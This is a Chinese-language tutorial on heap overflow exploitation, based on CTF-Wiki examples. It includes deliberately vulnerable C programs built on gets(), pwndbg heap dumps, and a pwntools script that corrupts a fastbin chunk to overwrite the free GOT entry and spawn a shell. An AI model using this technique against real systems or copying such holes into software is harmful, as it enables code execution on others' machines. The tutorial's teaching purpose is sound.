这次介绍一种和栈溢出类似名字的堆溢出攻击,首先借用应用CTF-Wiki上的例子理解一下堆溢出。
堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块,我们用两个例子来说明这个问题。
创建overflow.c
#include
int main(void)
{
char *chunk;
chunk=malloc(24);
puts("Get input:");
gets(chunk);
return 0;
}
编译
gcc -no-pie overflow.c -o overflow -g -w
我们把断点下好观察chunk变化
root@Thunder_J-virtual-machine:~/桌面# gdb overflow
...
pwndbg> b 8
Breakpoint 1 at 0x400599: file overflow.c, line 8.
pwndbg> b 9
Breakpoint 2 at 0x4005aa: file overflow.c, line 9.
pwndbg> r
Starting program: /home/Thunder_J/桌面/overflow
Get input:
Breakpoint 1, main () at overflow.c:8
pwndbg> x/20gx 0x602250-16
0x602240: 0x0000000000000000 0x0000000000000000
0x602250: 0x0000000000000000 0x0000000000000021 # 申请的chunk
0x602260: 0x0000000000000000 0x0000000000000000
0x602270: 0x0000000000000000 0x0000000000000411 # next chunk
0x602280: 0x75706e6920746547 0x00000000000a3a74
0x602290: 0x0000000000000000 0x0000000000000000
0x6022a0: 0x0000000000000000 0x0000000000000000
0x6022b0: 0x0000000000000000 0x0000000000000000
0x6022c0: 0x0000000000000000 0x0000000000000000
0x6022d0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa # 输入64个'a'覆盖下一个chunk
Breakpoint 2, main () at overflow.c:9
9 return 0;
pwndbg> x/20gx 0x602250-16
0x602240: 0x0000000000000000 0x0000000000000000
0x602250: 0x0000000000000000 0x0000000000000021
0x602260: 0x6161616161616161 0x6161616161616161
0x602270: 0x6161616161616161 0x6161616161616161 # next chunk已经被覆盖
0x602280: 0x6161616161616161 0x6161616161616161
0x602290: 0x6161616161616161 0x6161616161616161
0x6022a0: 0x0000000000000000 0x0000000000000000
0x6022b0: 0x0000000000000000 0x0000000000000000
0x6022c0: 0x0000000000000000 0x0000000000000000
0x6022d0: 0x0000000000000000 0x0000000000000000
上面就是简单的堆溢出演示,在利用的时候当然不是这么的随便下面就看第二个例子。
创建Overflow_Free_Chunk.c
#include
#include
#include
void sh(char *cmd){
system(cmd);
}
int main()
{
setvbuf(stdout,0,_IONBF,0);
int cmd,idx,sz;
char* ptr[10];
memset(ptr,0,sizeof(ptr));
puts("1. malloc + gets\n2. free\n3. puts");
while(1){
printf("> ");
scanf("%d %d",&cmd,&idx);
idx %= 10;
if(cmd==1)
{
scanf("%d%*c",&sz);
ptr[idx] = malloc(sz);
gets(ptr[idx]);
}
else if (cmd==2)
{
free(ptr[idx]);
ptr[idx] = 0;
}
else if (cmd==3)
{
puts(ptr[idx]);
}
else{
exit(0);
}
}
}
编译
gcc -no-pie Overflow_Free_Chunk.c -o Overflow_Free_Chunk -g -w
我们在scanf输入处下断点观察
pwndbg> b 20
Breakpoint 1 at 0x40085b: file Overflow_Free_Chunk.c, line 20.
pwndbg> r
Starting program: /home/Thunder_J/桌面/Overflow_Free_Chunk
1. malloc + gets
2. free
3. puts
>
Breakpoint 1, main () at Overflow_Free_Chunk.c:20
20 scanf("%d %d",&cmd,&idx);
我们申请两次大小为24的chunk,为什么要申请24呢,因为最小的chunk大小为32位,,最小的堆即为prev_size(可以被上一个chunk占用),size,fd(可以被本chunk占用),bk(可以被本chunk占用) ,8*4即为32位,我们看一下堆的结构:
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
我们知道,我们申请出来的chunk最少是32位,然而chunk的大小至少是16的倍数,我们申请小于24位的chunk,其实申请出来大小是32位,也就是:
prev_size + size + fd + bk
我们申请两次chunk之后的情况:
pwndbg> c
Continuing.
1 0
24 aaaaaaaa
>
pwndbg> c
Continuing.
1 1
24 bbbbbbbb
>
pwndbg> x/20gx 0x602660-16
0x602650: 0x0000000000000000 0x0000000000000000
0x602660: 0x0000000000000000 0x0000000000000021 # prev_size + size
0x602670: 0x6161616161616161 0x0000000000000000 # fd + bk
0x602680: 0x0000000000000000 0x0000000000000021
0x602690: 0x6262626262626262 0x0000000000000000 # 同上
0x6026a0: 0x0000000000000000 0x0000000000020961
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000000000
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
我们释放两次chunk之后的情况:
pwndbg> c
Continuing.
2 1
>
pwndbg> c
Continuing.
2 0
>
pwndbg> x/20gx 0x602660-16
0x602650: 0x0000000000000000 0x0000000000000000
0x602660: 0x0000000000000000 0x0000000000000021
0x602670: 0x0000000000602690 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000021
0x602690: 0x0000000000000000 0x0000000000000000
0x6026a0: 0x0000000000000000 0x0000000000020961
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000000000
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
因为fastbin是单链表,所以我们free两次会得到一个单链表:
Fastbin[1]->0x602670->0x602690
当我们再次申请相同大小的chunk的时候,作合适的写入操作就可以覆盖下一个chunk的内容:
pwndbg> c
Continuing.
1 2
24 cccccccccccccccccccccccccccccccc
>
pwndbg> x/20gx 0x602660-16
0x602650: 0x0000000000000000 0x0000000000000000
0x602660: 0x0000000000000000 0x0000000000000021
0x602670: 0x6363636363636363 0x6363636363636363
0x602680: 0x6363636363636363 0x6363636363636363
0x602690: 0x0000000000000000 0x0000000000000000
0x6026a0: 0x0000000000000000 0x0000000000020961
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000000000
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
我们需要注意的第一点是,我们free的顺序不能乱,一旦乱了,就会导致无法覆盖到理想的chunk处,要深入理解fastbin的LIFO机制,也就是想象成栈的机制,最好的理解方式就是自己多试几次,我们需要注意的第二点是我们不能一直乱覆盖到下一个chunk的size大小,因为size代表这个chunk的大小,要是乱覆盖用‘cccccccc’替代size内容那这个chunk的大小就变成了0x6363636363636363,就不是fastbin的大小了,也就无法达到目的了,所以我们必须选择好偏移的位置,将size大小正确写入下一个chunk,然后将chunk的fd指向我们的free函数地址,然后将’sh’写入free函数的地方。
exp:
from pwn import *
p = process('./Overflow_Free_Chunk')
def malloc(i,s):
p.recvuntil('> ')
p.send('1 %d\n24 %s'%(i,s)+'\n')
def free(x):
p.recvuntil('> ')
p.send('2 %d'%x+'\n')
malloc(0,'aaaaaaaa')
malloc(1,'bbbbbbbb')
free(1)
free(0)
malloc(2,'a'*24 + p64(0x21) + p64(0x601018)) # free_hook
malloc(3,'sh') # write 'sh' in ptr[3]
malloc(4, p64(0x4007d7)) # write in sh() address
p.recvuntil('> ')
p.sendline('2 3') # free(3) ==> system('sh')
p.interactive()